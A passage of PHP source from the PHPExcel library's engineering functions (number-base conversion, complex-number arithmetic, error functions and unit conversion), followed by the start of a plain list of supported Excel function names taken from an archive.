$x The hexadecimal number you want to convert. Number cannot * contain more than 10 characters. The most significant bit of * number is the sign bit. The remaining 39 bits are magnitude * bits. Negative numbers are represented using two's-complement * notation. * If number is negative, HEX2OCT ignores places and returns a * 10-character octal number. * If number is negative, it cannot be less than FFE0000000, and * if number is positive, it cannot be greater than 1FFFFFFF. * If number is not a valid hexadecimal number, HEX2OCT returns * the #NUM! error value. * If HEX2OCT requires more than places characters, it returns * the #NUM! error value. * @param integer $places The number of characters to use. If places is omitted, HEX2OCT * uses the minimum number of characters necessary. Places is * useful for padding the return value with leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, HEX2OCT returns the #VALUE! error * value. * If places is negative, HEX2OCT returns the #NUM! error value. * @return string */ public static function HEXTOOCT($x, $places = null) { $x = PHPExcel_Calculation_Functions::flattenSingleValue($x); $places = PHPExcel_Calculation_Functions::flattenSingleValue($places); if (is_bool($x)) { return PHPExcel_Calculation_Functions::VALUE(); } $x = (string) $x; if (strlen($x) > preg_match_all('/[0123456789ABCDEF]/', strtoupper($x), $out)) { return PHPExcel_Calculation_Functions::NaN(); } $octVal = decoct(hexdec($x)); return self::nbrConversionFormat($octVal, $places); } // function HEXTOOCT() /** * OCTTOBIN * * Return an octal value as binary. * * Excel Function: * OCT2BIN(x[,places]) * * @access public * @category Engineering Functions * @param string $x The octal number you want to convert. Number may not * contain more than 10 characters. The most significant * bit of number is the sign bit. The remaining 29 bits * are magnitude bits. Negative numbers are represented * using two's-complement notation. * If number is negative, OCT2BIN ignores places and returns * a 10-character binary number. * If number is negative, it cannot be less than 7777777000, * and if number is positive, it cannot be greater than 777. * If number is not a valid octal number, OCT2BIN returns * the #NUM! error value. * If OCT2BIN requires more than places characters, it * returns the #NUM! error value. * @param integer $places The number of characters to use. If places is omitted, * OCT2BIN uses the minimum number of characters necessary. * Places is useful for padding the return value with * leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, OCT2BIN returns the #VALUE! * error value. * If places is negative, OCT2BIN returns the #NUM! error * value. * @return string */ public static function OCTTOBIN($x, $places = null) { $x = PHPExcel_Calculation_Functions::flattenSingleValue($x); $places = PHPExcel_Calculation_Functions::flattenSingleValue($places); if (is_bool($x)) { return PHPExcel_Calculation_Functions::VALUE(); } $x = (string) $x; if (preg_match_all('/[01234567]/', $x, $out) != strlen($x)) { return PHPExcel_Calculation_Functions::NaN(); } $r = decbin(octdec($x)); return self::nbrConversionFormat($r, $places); } /** * OCTTODEC * * Return an octal value as decimal. * * Excel Function: * OCT2DEC(x) * * @access public * @category Engineering Functions * @param string $x The octal number you want to convert. Number may not contain * more than 10 octal characters (30 bits). The most significant * bit of number is the sign bit. The remaining 29 bits are * magnitude bits. Negative numbers are represented using * two's-complement notation. * If number is not a valid octal number, OCT2DEC returns the * #NUM! error value. * @return string */ public static function OCTTODEC($x) { $x = PHPExcel_Calculation_Functions::flattenSingleValue($x); if (is_bool($x)) { return PHPExcel_Calculation_Functions::VALUE(); } $x = (string) $x; if (preg_match_all('/[01234567]/', $x, $out) != strlen($x)) { return PHPExcel_Calculation_Functions::NaN(); } return octdec($x); } /** * OCTTOHEX * * Return an octal value as hex. * * Excel Function: * OCT2HEX(x[,places]) * * @access public * @category Engineering Functions * @param string $x The octal number you want to convert. Number may not contain * more than 10 octal characters (30 bits). The most significant * bit of number is the sign bit. The remaining 29 bits are * magnitude bits. Negative numbers are represented using * two's-complement notation. * If number is negative, OCT2HEX ignores places and returns a * 10-character hexadecimal number. * If number is not a valid octal number, OCT2HEX returns the * #NUM! error value. * If OCT2HEX requires more than places characters, it returns * the #NUM! error value. * @param integer $places The number of characters to use. If places is omitted, OCT2HEX * uses the minimum number of characters necessary. Places is useful * for padding the return value with leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, OCT2HEX returns the #VALUE! error value. * If places is negative, OCT2HEX returns the #NUM! error value. * @return string */ public static function OCTTOHEX($x, $places = null) { $x = PHPExcel_Calculation_Functions::flattenSingleValue($x); $places = PHPExcel_Calculation_Functions::flattenSingleValue($places); if (is_bool($x)) { return PHPExcel_Calculation_Functions::VALUE(); } $x = (string) $x; if (preg_match_all('/[01234567]/', $x, $out) != strlen($x)) { return PHPExcel_Calculation_Functions::NaN(); } $hexVal = strtoupper(dechex(octdec($x))); return self::nbrConversionFormat($hexVal, $places); } /** * COMPLEX * * Converts real and imaginary coefficients into a complex number of the form x + yi or x + yj. * * Excel Function: * COMPLEX(realNumber,imaginary[,places]) * * @access public * @category Engineering Functions * @param float $realNumber The real coefficient of the complex number. * @param float $imaginary The imaginary coefficient of the complex number. * @param string $suffix The suffix for the imaginary component of the complex number. * If omitted, the suffix is assumed to be "i". * @return string */ public static function COMPLEX($realNumber = 0.0, $imaginary = 0.0, $suffix = 'i') { $realNumber = (is_null($realNumber)) ? 0.0 : PHPExcel_Calculation_Functions::flattenSingleValue($realNumber); $imaginary = (is_null($imaginary)) ? 0.0 : PHPExcel_Calculation_Functions::flattenSingleValue($imaginary); $suffix = (is_null($suffix)) ? 'i' : PHPExcel_Calculation_Functions::flattenSingleValue($suffix); if (((is_numeric($realNumber)) && (is_numeric($imaginary))) && (($suffix == 'i') || ($suffix == 'j') || ($suffix == ''))) { $realNumber = (float) $realNumber; $imaginary = (float) $imaginary; if ($suffix == '') { $suffix = 'i'; } if ($realNumber == 0.0) { if ($imaginary == 0.0) { return (string) '0'; } elseif ($imaginary == 1.0) { return (string) $suffix; } elseif ($imaginary == -1.0) { return (string) '-'.$suffix; } return (string) $imaginary.$suffix; } elseif ($imaginary == 0.0) { return (string) $realNumber; } elseif ($imaginary == 1.0) { return (string) $realNumber.'+'.$suffix; } elseif ($imaginary == -1.0) { return (string) $realNumber.'-'.$suffix; } if ($imaginary > 0) { $imaginary = (string) '+'.$imaginary; } return (string) $realNumber.$imaginary.$suffix; } return PHPExcel_Calculation_Functions::VALUE(); } /** * IMAGINARY * * Returns the imaginary coefficient of a complex number in x + yi or x + yj text format. * * Excel Function: * IMAGINARY(complexNumber) * * @access public * @category Engineering Functions * @param string $complexNumber The complex number for which you want the imaginary * coefficient. * @return float */ public static function IMAGINARY($complexNumber) { $complexNumber = PHPExcel_Calculation_Functions::flattenSingleValue($complexNumber); $parsedComplex = self::parseComplex($complexNumber); return $parsedComplex['imaginary']; } /** * IMREAL * * Returns the real coefficient of a complex number in x + yi or x + yj text format. * * Excel Function: * IMREAL(complexNumber) * * @access public * @category Engineering Functions * @param string $complexNumber The complex number for which you want the real coefficient. * @return float */ public static function IMREAL($complexNumber) { $complexNumber = PHPExcel_Calculation_Functions::flattenSingleValue($complexNumber); $parsedComplex = self::parseComplex($complexNumber); return $parsedComplex['real']; } /** * IMABS * * Returns the absolute value (modulus) of a complex number in x + yi or x + yj text format. * * Excel Function: * IMABS(complexNumber) * * @param string $complexNumber The complex number for which you want the absolute value. * @return float */ public static function IMABS($complexNumber) { $complexNumber = PHPExcel_Calculation_Functions::flattenSingleValue($complexNumber); $parsedComplex = self::parseComplex($complexNumber); return sqrt( ($parsedComplex['real'] * $parsedComplex['real']) + ($parsedComplex['imaginary'] * $parsedComplex['imaginary']) ); } /** * IMARGUMENT * * Returns the argument theta of a complex number, i.e. the angle in radians from the real * axis to the representation of the number in polar coordinates. * * Excel Function: * IMARGUMENT(complexNumber) * * @param string $complexNumber The complex number for which you want the argument theta. * @return float */ public static function IMARGUMENT($complexNumber) { $complexNumber = PHPExcel_Calculation_Functions::flattenSingleValue($complexNumber); $parsedComplex = self::parseComplex($complexNumber); if ($parsedComplex['real'] == 0.0) { if ($parsedComplex['imaginary'] == 0.0) { return 0.0; } elseif ($parsedComplex['imaginary'] < 0.0) { return M_PI / -2; } else { return M_PI / 2; } } elseif ($parsedComplex['real'] > 0.0) { return atan($parsedComplex['imaginary'] / $parsedComplex['real']); } elseif ($parsedComplex['imaginary'] < 0.0) { return 0 - (M_PI - atan(abs($parsedComplex['imaginary']) / abs($parsedComplex['real']))); } else { return M_PI - atan($parsedComplex['imaginary'] / abs($parsedComplex['real'])); } } /** * IMCONJUGATE * * Returns the complex conjugate of a complex number in x + yi or x + yj text format. * * Excel Function: * IMCONJUGATE(complexNumber) * * @param string $complexNumber The complex number for which you want the conjugate. * @return string */ public static function IMCONJUGATE($complexNumber) { $complexNumber = PHPExcel_Calculation_Functions::flattenSingleValue($complexNumber); $parsedComplex = self::parseComplex($complexNumber); if ($parsedComplex['imaginary'] == 0.0) { return $parsedComplex['real']; } else { return self::cleanComplex( self::COMPLEX( $parsedComplex['real'], 0 - $parsedComplex['imaginary'], $parsedComplex['suffix'] ) ); } } /** * IMCOS * * Returns the cosine of a complex number in x + yi or x + yj text format. * * Excel Function: * IMCOS(complexNumber) * * @param string $complexNumber The complex number for which you want the cosine. * @return string|float */ public static function IMCOS($complexNumber) { $complexNumber = PHPExcel_Calculation_Functions::flattenSingleValue($complexNumber); $parsedComplex = self::parseComplex($complexNumber); if ($parsedComplex['imaginary'] == 0.0) { return cos($parsedComplex['real']); } else { return self::IMCONJUGATE( self::COMPLEX( cos($parsedComplex['real']) * cosh($parsedComplex['imaginary']), sin($parsedComplex['real']) * sinh($parsedComplex['imaginary']), $parsedComplex['suffix'] ) ); } } /** * IMSIN * * Returns the sine of a complex number in x + yi or x + yj text format. * * Excel Function: * IMSIN(complexNumber) * * @param string $complexNumber The complex number for which you want the sine. * @return string|float */ public static function IMSIN($complexNumber) { $complexNumber = PHPExcel_Calculation_Functions::flattenSingleValue($complexNumber); $parsedComplex = self::parseComplex($complexNumber); if ($parsedComplex['imaginary'] == 0.0) { return sin($parsedComplex['real']); } else { return self::COMPLEX( sin($parsedComplex['real']) * cosh($parsedComplex['imaginary']), cos($parsedComplex['real']) * sinh($parsedComplex['imaginary']), $parsedComplex['suffix'] ); } } /** * IMSQRT * * Returns the square root of a complex number in x + yi or x + yj text format. * * Excel Function: * IMSQRT(complexNumber) * * @param string $complexNumber The complex number for which you want the square root. * @return string */ public static function IMSQRT($complexNumber) { $complexNumber = PHPExcel_Calculation_Functions::flattenSingleValue($complexNumber); $parsedComplex = self::parseComplex($complexNumber); $theta = self::IMARGUMENT($complexNumber); $d1 = cos($theta / 2); $d2 = sin($theta / 2); $r = sqrt(sqrt(($parsedComplex['real'] * $parsedComplex['real']) + ($parsedComplex['imaginary'] * $parsedComplex['imaginary']))); if ($parsedComplex['suffix'] == '') { return self::COMPLEX($d1 * $r, $d2 * $r); } else { return self::COMPLEX($d1 * $r, $d2 * $r, $parsedComplex['suffix']); } } /** * IMLN * * Returns the natural logarithm of a complex number in x + yi or x + yj text format. * * Excel Function: * IMLN(complexNumber) * * @param string $complexNumber The complex number for which you want the natural logarithm. * @return string */ public static function IMLN($complexNumber) { $complexNumber = PHPExcel_Calculation_Functions::flattenSingleValue($complexNumber); $parsedComplex = self::parseComplex($complexNumber); if (($parsedComplex['real'] == 0.0) && ($parsedComplex['imaginary'] == 0.0)) { return PHPExcel_Calculation_Functions::NaN(); } $logR = log(sqrt(($parsedComplex['real'] * $parsedComplex['real']) + ($parsedComplex['imaginary'] * $parsedComplex['imaginary']))); $t = self::IMARGUMENT($complexNumber); if ($parsedComplex['suffix'] == '') { return self::COMPLEX($logR, $t); } else { return self::COMPLEX($logR, $t, $parsedComplex['suffix']); } } /** * IMLOG10 * * Returns the common logarithm (base 10) of a complex number in x + yi or x + yj text format. * * Excel Function: * IMLOG10(complexNumber) * * @param string $complexNumber The complex number for which you want the common logarithm. * @return string */ public static function IMLOG10($complexNumber) { $complexNumber = PHPExcel_Calculation_Functions::flattenSingleValue($complexNumber); $parsedComplex = self::parseComplex($complexNumber); if (($parsedComplex['real'] == 0.0) && ($parsedComplex['imaginary'] == 0.0)) { return PHPExcel_Calculation_Functions::NaN(); } elseif (($parsedComplex['real'] > 0.0) && ($parsedComplex['imaginary'] == 0.0)) { return log10($parsedComplex['real']); } return self::IMPRODUCT(log10(EULER), self::IMLN($complexNumber)); } /** * IMLOG2 * * Returns the base-2 logarithm of a complex number in x + yi or x + yj text format. * * Excel Function: * IMLOG2(complexNumber) * * @param string $complexNumber The complex number for which you want the base-2 logarithm. * @return string */ public static function IMLOG2($complexNumber) { $complexNumber = PHPExcel_Calculation_Functions::flattenSingleValue($complexNumber); $parsedComplex = self::parseComplex($complexNumber); if (($parsedComplex['real'] == 0.0) && ($parsedComplex['imaginary'] == 0.0)) { return PHPExcel_Calculation_Functions::NaN(); } elseif (($parsedComplex['real'] > 0.0) && ($parsedComplex['imaginary'] == 0.0)) { return log($parsedComplex['real'], 2); } return self::IMPRODUCT(log(EULER, 2), self::IMLN($complexNumber)); } /** * IMEXP * * Returns the exponential of a complex number in x + yi or x + yj text format. * * Excel Function: * IMEXP(complexNumber) * * @param string $complexNumber The complex number for which you want the exponential. * @return string */ public static function IMEXP($complexNumber) { $complexNumber = PHPExcel_Calculation_Functions::flattenSingleValue($complexNumber); $parsedComplex = self::parseComplex($complexNumber); if (($parsedComplex['real'] == 0.0) && ($parsedComplex['imaginary'] == 0.0)) { return '1'; } $e = exp($parsedComplex['real']); $eX = $e * cos($parsedComplex['imaginary']); $eY = $e * sin($parsedComplex['imaginary']); if ($parsedComplex['suffix'] == '') { return self::COMPLEX($eX, $eY); } else { return self::COMPLEX($eX, $eY, $parsedComplex['suffix']); } } /** * IMPOWER * * Returns a complex number in x + yi or x + yj text format raised to a power. * * Excel Function: * IMPOWER(complexNumber,realNumber) * * @param string $complexNumber The complex number you want to raise to a power. * @param float $realNumber The power to which you want to raise the complex number. * @return string */ public static function IMPOWER($complexNumber, $realNumber) { $complexNumber = PHPExcel_Calculation_Functions::flattenSingleValue($complexNumber); $realNumber = PHPExcel_Calculation_Functions::flattenSingleValue($realNumber); if (!is_numeric($realNumber)) { return PHPExcel_Calculation_Functions::VALUE(); } $parsedComplex = self::parseComplex($complexNumber); $r = sqrt(($parsedComplex['real'] * $parsedComplex['real']) + ($parsedComplex['imaginary'] * $parsedComplex['imaginary'])); $rPower = pow($r, $realNumber); $theta = self::IMARGUMENT($complexNumber) * $realNumber; if ($theta == 0) { return 1; } elseif ($parsedComplex['imaginary'] == 0.0) { return self::COMPLEX($rPower * cos($theta), $rPower * sin($theta), $parsedComplex['suffix']); } else { return self::COMPLEX($rPower * cos($theta), $rPower * sin($theta), $parsedComplex['suffix']); } } /** * IMDIV * * Returns the quotient of two complex numbers in x + yi or x + yj text format. * * Excel Function: * IMDIV(complexDividend,complexDivisor) * * @param string $complexDividend The complex numerator or dividend. * @param string $complexDivisor The complex denominator or divisor. * @return string */ public static function IMDIV($complexDividend, $complexDivisor) { $complexDividend = PHPExcel_Calculation_Functions::flattenSingleValue($complexDividend); $complexDivisor = PHPExcel_Calculation_Functions::flattenSingleValue($complexDivisor); $parsedComplexDividend = self::parseComplex($complexDividend); $parsedComplexDivisor = self::parseComplex($complexDivisor); if (($parsedComplexDividend['suffix'] != '') && ($parsedComplexDivisor['suffix'] != '') && ($parsedComplexDividend['suffix'] != $parsedComplexDivisor['suffix'])) { return PHPExcel_Calculation_Functions::NaN(); } if (($parsedComplexDividend['suffix'] != '') && ($parsedComplexDivisor['suffix'] == '')) { $parsedComplexDivisor['suffix'] = $parsedComplexDividend['suffix']; } $d1 = ($parsedComplexDividend['real'] * $parsedComplexDivisor['real']) + ($parsedComplexDividend['imaginary'] * $parsedComplexDivisor['imaginary']); $d2 = ($parsedComplexDividend['imaginary'] * $parsedComplexDivisor['real']) - ($parsedComplexDividend['real'] * $parsedComplexDivisor['imaginary']); $d3 = ($parsedComplexDivisor['real'] * $parsedComplexDivisor['real']) + ($parsedComplexDivisor['imaginary'] * $parsedComplexDivisor['imaginary']); $r = $d1 / $d3; $i = $d2 / $d3; if ($i > 0.0) { return self::cleanComplex($r.'+'.$i.$parsedComplexDivisor['suffix']); } elseif ($i < 0.0) { return self::cleanComplex($r.$i.$parsedComplexDivisor['suffix']); } else { return $r; } } /** * IMSUB * * Returns the difference of two complex numbers in x + yi or x + yj text format. * * Excel Function: * IMSUB(complexNumber1,complexNumber2) * * @param string $complexNumber1 The complex number from which to subtract complexNumber2. * @param string $complexNumber2 The complex number to subtract from complexNumber1. * @return string */ public static function IMSUB($complexNumber1, $complexNumber2) { $complexNumber1 = PHPExcel_Calculation_Functions::flattenSingleValue($complexNumber1); $complexNumber2 = PHPExcel_Calculation_Functions::flattenSingleValue($complexNumber2); $parsedComplex1 = self::parseComplex($complexNumber1); $parsedComplex2 = self::parseComplex($complexNumber2); if ((($parsedComplex1['suffix'] != '') && ($parsedComplex2['suffix'] != '')) && ($parsedComplex1['suffix'] != $parsedComplex2['suffix'])) { return PHPExcel_Calculation_Functions::NaN(); } elseif (($parsedComplex1['suffix'] == '') && ($parsedComplex2['suffix'] != '')) { $parsedComplex1['suffix'] = $parsedComplex2['suffix']; } $d1 = $parsedComplex1['real'] - $parsedComplex2['real']; $d2 = $parsedComplex1['imaginary'] - $parsedComplex2['imaginary']; return self::COMPLEX($d1, $d2, $parsedComplex1['suffix']); } /** * IMSUM * * Returns the sum of two or more complex numbers in x + yi or x + yj text format. * * Excel Function: * IMSUM(complexNumber[,complexNumber[,...]]) * * @param string $complexNumber,... Series of complex numbers to add * @return string */ public static function IMSUM() { // Return value $returnValue = self::parseComplex('0'); $activeSuffix = ''; // Loop through the arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); foreach ($aArgs as $arg) { $parsedComplex = self::parseComplex($arg); if ($activeSuffix == '') { $activeSuffix = $parsedComplex['suffix']; } elseif (($parsedComplex['suffix'] != '') && ($activeSuffix != $parsedComplex['suffix'])) { return PHPExcel_Calculation_Functions::VALUE(); } $returnValue['real'] += $parsedComplex['real']; $returnValue['imaginary'] += $parsedComplex['imaginary']; } if ($returnValue['imaginary'] == 0.0) { $activeSuffix = ''; } return self::COMPLEX($returnValue['real'], $returnValue['imaginary'], $activeSuffix); } /** * IMPRODUCT * * Returns the product of two or more complex numbers in x + yi or x + yj text format. * * Excel Function: * IMPRODUCT(complexNumber[,complexNumber[,...]]) * * @param string $complexNumber,... Series of complex numbers to multiply * @return string */ public static function IMPRODUCT() { // Return value $returnValue = self::parseComplex('1'); $activeSuffix = ''; // Loop through the arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); foreach ($aArgs as $arg) { $parsedComplex = self::parseComplex($arg); $workValue = $returnValue; if (($parsedComplex['suffix'] != '') && ($activeSuffix == '')) { $activeSuffix = $parsedComplex['suffix']; } elseif (($parsedComplex['suffix'] != '') && ($activeSuffix != $parsedComplex['suffix'])) { return PHPExcel_Calculation_Functions::NaN(); } $returnValue['real'] = ($workValue['real'] * $parsedComplex['real']) - ($workValue['imaginary'] * $parsedComplex['imaginary']); $returnValue['imaginary'] = ($workValue['real'] * $parsedComplex['imaginary']) + ($workValue['imaginary'] * $parsedComplex['real']); } if ($returnValue['imaginary'] == 0.0) { $activeSuffix = ''; } return self::COMPLEX($returnValue['real'], $returnValue['imaginary'], $activeSuffix); } /** * DELTA * * Tests whether two values are equal. Returns 1 if number1 = number2; returns 0 otherwise. * Use this function to filter a set of values. For example, by summing several DELTA * functions you calculate the count of equal pairs. This function is also known as the * Kronecker Delta function. * * Excel Function: * DELTA(a[,b]) * * @param float $a The first number. * @param float $b The second number. If omitted, b is assumed to be zero. * @return int */ public static function DELTA($a, $b = 0) { $a = PHPExcel_Calculation_Functions::flattenSingleValue($a); $b = PHPExcel_Calculation_Functions::flattenSingleValue($b); return (int) ($a == $b); } /** * GESTEP * * Excel Function: * GESTEP(number[,step]) * * Returns 1 if number >= step; returns 0 (zero) otherwise * Use this function to filter a set of values. For example, by summing several GESTEP * functions you calculate the count of values that exceed a threshold. * * @param float $number The value to test against step. * @param float $step The threshold value. * If you omit a value for step, GESTEP uses zero. * @return int */ public static function GESTEP($number, $step = 0) { $number = PHPExcel_Calculation_Functions::flattenSingleValue($number); $step = PHPExcel_Calculation_Functions::flattenSingleValue($step); return (int) ($number >= $step); } // // Private method to calculate the erf value // private static $twoSqrtPi = 1.128379167095512574; public static function erfVal($x) { if (abs($x) > 2.2) { return 1 - self::erfcVal($x); } $sum = $term = $x; $xsqr = ($x * $x); $j = 1; do { $term *= $xsqr / $j; $sum -= $term / (2 * $j + 1); ++$j; $term *= $xsqr / $j; $sum += $term / (2 * $j + 1); ++$j; if ($sum == 0.0) { break; } } while (abs($term / $sum) > PRECISION); return self::$twoSqrtPi * $sum; } /** * ERF * * Returns the error function integrated between the lower and upper bound arguments. * * Note: In Excel 2007 or earlier, if you input a negative value for the upper or lower bound arguments, * the function would return a #NUM! error. However, in Excel 2010, the function algorithm was * improved, so that it can now calculate the function for both positive and negative ranges. * PHPExcel follows Excel 2010 behaviour, and accepts nagative arguments. * * Excel Function: * ERF(lower[,upper]) * * @param float $lower lower bound for integrating ERF * @param float $upper upper bound for integrating ERF. * If omitted, ERF integrates between zero and lower_limit * @return float */ public static function ERF($lower, $upper = null) { $lower = PHPExcel_Calculation_Functions::flattenSingleValue($lower); $upper = PHPExcel_Calculation_Functions::flattenSingleValue($upper); if (is_numeric($lower)) { if (is_null($upper)) { return self::erfVal($lower); } if (is_numeric($upper)) { return self::erfVal($upper) - self::erfVal($lower); } } return PHPExcel_Calculation_Functions::VALUE(); } // // Private method to calculate the erfc value // private static $oneSqrtPi = 0.564189583547756287; private static function erfcVal($x) { if (abs($x) < 2.2) { return 1 - self::erfVal($x); } if ($x < 0) { return 2 - self::ERFC(-$x); } $a = $n = 1; $b = $c = $x; $d = ($x * $x) + 0.5; $q1 = $q2 = $b / $d; $t = 0; do { $t = $a * $n + $b * $x; $a = $b; $b = $t; $t = $c * $n + $d * $x; $c = $d; $d = $t; $n += 0.5; $q1 = $q2; $q2 = $b / $d; } while ((abs($q1 - $q2) / $q2) > PRECISION); return self::$oneSqrtPi * exp(-$x * $x) * $q2; } /** * ERFC * * Returns the complementary ERF function integrated between x and infinity * * Note: In Excel 2007 or earlier, if you input a negative value for the lower bound argument, * the function would return a #NUM! error. However, in Excel 2010, the function algorithm was * improved, so that it can now calculate the function for both positive and negative x values. * PHPExcel follows Excel 2010 behaviour, and accepts nagative arguments. * * Excel Function: * ERFC(x) * * @param float $x The lower bound for integrating ERFC * @return float */ public static function ERFC($x) { $x = PHPExcel_Calculation_Functions::flattenSingleValue($x); if (is_numeric($x)) { return self::erfcVal($x); } return PHPExcel_Calculation_Functions::VALUE(); } /** * getConversionGroups * Returns a list of the different conversion groups for UOM conversions * * @return array */ public static function getConversionGroups() { $conversionGroups = array(); foreach (self::$conversionUnits as $conversionUnit) { $conversionGroups[] = $conversionUnit['Group']; } return array_merge(array_unique($conversionGroups)); } /** * getConversionGroupUnits * Returns an array of units of measure, for a specified conversion group, or for all groups * * @param string $group The group whose units of measure you want to retrieve * @return array */ public static function getConversionGroupUnits($group = null) { $conversionGroups = array(); foreach (self::$conversionUnits as $conversionUnit => $conversionGroup) { if ((is_null($group)) || ($conversionGroup['Group'] == $group)) { $conversionGroups[$conversionGroup['Group']][] = $conversionUnit; } } return $conversionGroups; } /** * getConversionGroupUnitDetails * * @param string $group The group whose units of measure you want to retrieve * @return array */ public static function getConversionGroupUnitDetails($group = null) { $conversionGroups = array(); foreach (self::$conversionUnits as $conversionUnit => $conversionGroup) { if ((is_null($group)) || ($conversionGroup['Group'] == $group)) { $conversionGroups[$conversionGroup['Group']][] = array( 'unit' => $conversionUnit, 'description' => $conversionGroup['Unit Name'] ); } } return $conversionGroups; } /** * getConversionMultipliers * Returns an array of the Multiplier prefixes that can be used with Units of Measure in CONVERTUOM() * * @return array of mixed */ public static function getConversionMultipliers() { return self::$conversionMultipliers; } /** * CONVERTUOM * * Converts a number from one measurement system to another. * For example, CONVERT can translate a table of distances in miles to a table of distances * in kilometers. * * Excel Function: * CONVERT(value,fromUOM,toUOM) * * @param float $value The value in fromUOM to convert. * @param string $fromUOM The units for value. * @param string $toUOM The units for the result. * * @return float */ public static function CONVERTUOM($value, $fromUOM, $toUOM) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $fromUOM = PHPExcel_Calculation_Functions::flattenSingleValue($fromUOM); $toUOM = PHPExcel_Calculation_Functions::flattenSingleValue($toUOM); if (!is_numeric($value)) { return PHPExcel_Calculation_Functions::VALUE(); } $fromMultiplier = 1.0; if (isset(self::$conversionUnits[$fromUOM])) { $unitGroup1 = self::$conversionUnits[$fromUOM]['Group']; } else { $fromMultiplier = substr($fromUOM, 0, 1); $fromUOM = substr($fromUOM, 1); if (isset(self::$conversionMultipliers[$fromMultiplier])) { $fromMultiplier = self::$conversionMultipliers[$fromMultiplier]['multiplier']; } else { return PHPExcel_Calculation_Functions::NA(); } if ((isset(self::$conversionUnits[$fromUOM])) && (self::$conversionUnits[$fromUOM]['AllowPrefix'])) { $unitGroup1 = self::$conversionUnits[$fromUOM]['Group']; } else { return PHPExcel_Calculation_Functions::NA(); } } $value *= $fromMultiplier; $toMultiplier = 1.0; if (isset(self::$conversionUnits[$toUOM])) { $unitGroup2 = self::$conversionUnits[$toUOM]['Group']; } else { $toMultiplier = substr($toUOM, 0, 1); $toUOM = substr($toUOM, 1); if (isset(self::$conversionMultipliers[$toMultiplier])) { $toMultiplier = self::$conversionMultipliers[$toMultiplier]['multiplier']; } else { return PHPExcel_Calculation_Functions::NA(); } if ((isset(self::$conversionUnits[$toUOM])) && (self::$conversionUnits[$toUOM]['AllowPrefix'])) { $unitGroup2 = self::$conversionUnits[$toUOM]['Group']; } else { return PHPExcel_Calculation_Functions::NA(); } } if ($unitGroup1 != $unitGroup2) { return PHPExcel_Calculation_Functions::NA(); } if (($fromUOM == $toUOM) && ($fromMultiplier == $toMultiplier)) { // We've already factored $fromMultiplier into the value, so we need // to reverse it again return $value / $fromMultiplier; } elseif ($unitGroup1 == 'Temperature') { if (($fromUOM == 'F') || ($fromUOM == 'fah')) { if (($toUOM == 'F') || ($toUOM == 'fah')) { return $value; } else { $value = (($value - 32) / 1.8); if (($toUOM == 'K') || ($toUOM == 'kel')) { $value += 273.15; } return $value; } } elseif ((($fromUOM == 'K') || ($fromUOM == 'kel')) && (($toUOM == 'K') || ($toUOM == 'kel'))) { return $value; } elseif ((($fromUOM == 'C') || ($fromUOM == 'cel')) && (($toUOM == 'C') || ($toUOM == 'cel'))) { return $value; } if (($toUOM == 'F') || ($toUOM == 'fah')) { if (($fromUOM == 'K') || ($fromUOM == 'kel')) { $value -= 273.15; } return ($value * 1.8) + 32; } if (($toUOM == 'C') || ($toUOM == 'cel')) { return $value - 273.15; } return $value + 273.15; } return ($value * self::$unitConversions[$unitGroup1][$fromUOM][$toUOM]) / $toMultiplier; } } PHPExcel/Calculation/functionlist.txt 0000644 00000004717 14642534107 0013713 0 ustar 00 ABS ACCRINT ACCRINTM ACOS ACOSH ADDRESS AMORDEGRC AMORLINC AND AREAS ASC ASIN ASINH ATAN ATAN2 ATANH AVEDEV AVERAGE AVERAGEA AVERAGEIF AVERAGEIFS BAHTTEXT BESSELI BESSELJ BESSELK BESSELY BETADIST BETAINV BIN2DEC BIN2HEX BIN2OCT BINOMDIST CEILING CELL CHAR CHIDIST CHIINV CHITEST CHOOSE CLEAN CODE COLUMN COLUMNS COMBIN COMPLEX CONCATENATE CONFIDENCE CONVERT CORREL COS COSH COUNT COUNTA COUNTBLANK COUNTIF COUNTIFS COUPDAYBS COUPDAYBS COUPDAYSNC COUPNCD COUPNUM COUPPCD COVAR CRITBINOM CUBEKPIMEMBER CUBEMEMBER CUBEMEMBERPROPERTY CUBERANKEDMEMBER CUBESET CUBESETCOUNT CUBEVALUE CUMIPMT CUMPRINC DATE DATEDIF DATEVALUE DAVERAGE DAY DAYS360 DB DCOUNT DCOUNTA DDB DEC2BIN DEC2HEX DEC2OCT DEGREES DELTA DEVSQ DGET DISC DMAX DMIN DOLLAR DOLLARDE DOLLARFR DPRODUCT DSTDEV DSTDEVP DSUM DURATION DVAR DVARP EDATE EFFECT EOMONTH ERF ERFC ERROR.TYPE EVEN EXACT EXP EXPONDIST FACT FACTDOUBLE FALSE FDIST FIND FINDB FINV FISHER FISHERINV FIXED FLOOR FORECAST FREQUENCY FTEST FV FVSCHEDULE GAMAMDIST GAMMAINV GAMMALN GCD GEOMEAN GESTEP GETPIVOTDATA GROWTH HARMEAN HEX2BIN HEX2OCT HLOOKUP HOUR HYPERLINK HYPGEOMDIST IF IFERROR IMABS IMAGINARY IMARGUMENT IMCONJUGATE IMCOS IMEXP IMLN IMLOG10 IMLOG2 IMPOWER IMPRODUCT IMREAL IMSIN IMSQRT IMSUB IMSUM INDEX INDIRECT INFO INT INTERCEPT INTRATE IPMT IRR ISBLANK ISERR ISERROR ISEVEN ISLOGICAL ISNA ISNONTEXT ISNUMBER ISODD ISPMT ISREF ISTEXT JIS KURT LARGE LCM LEFT LEFTB LEN LENB LINEST LN LOG LOG10 LOGEST LOGINV LOGNORMDIST LOOKUP LOWER MATCH MAX MAXA MDETERM MDURATION MEDIAN MID MIDB MIN MINA MINUTE MINVERSE MIRR MMULT MOD MODE MONTH MROUND MULTINOMIAL N NA NEGBINOMDIST NETWORKDAYS NOMINAL NORMDIST NORMINV NORMSDIST NORMSINV NOT NOW NPER NPV OCT2BIN OCT2DEC OCT2HEX ODD ODDFPRICE ODDFYIELD ODDLPRICE ODDLYIELD OFFSET OR PEARSON PERCENTILE PERCENTRANK PERMUT PHONETIC PI PMT POISSON POWER PPMT PRICE PRICEDISC PRICEMAT PROB PRODUCT PROPER PV QUARTILE QUOTIENT RADIANS RAND RANDBETWEEN RANK RATE RECEIVED REPLACE REPLACEB REPT RIGHT RIGHTB ROMAN ROUND ROUNDDOWN ROUNDUP ROW ROWS RSQ RTD SEARCH 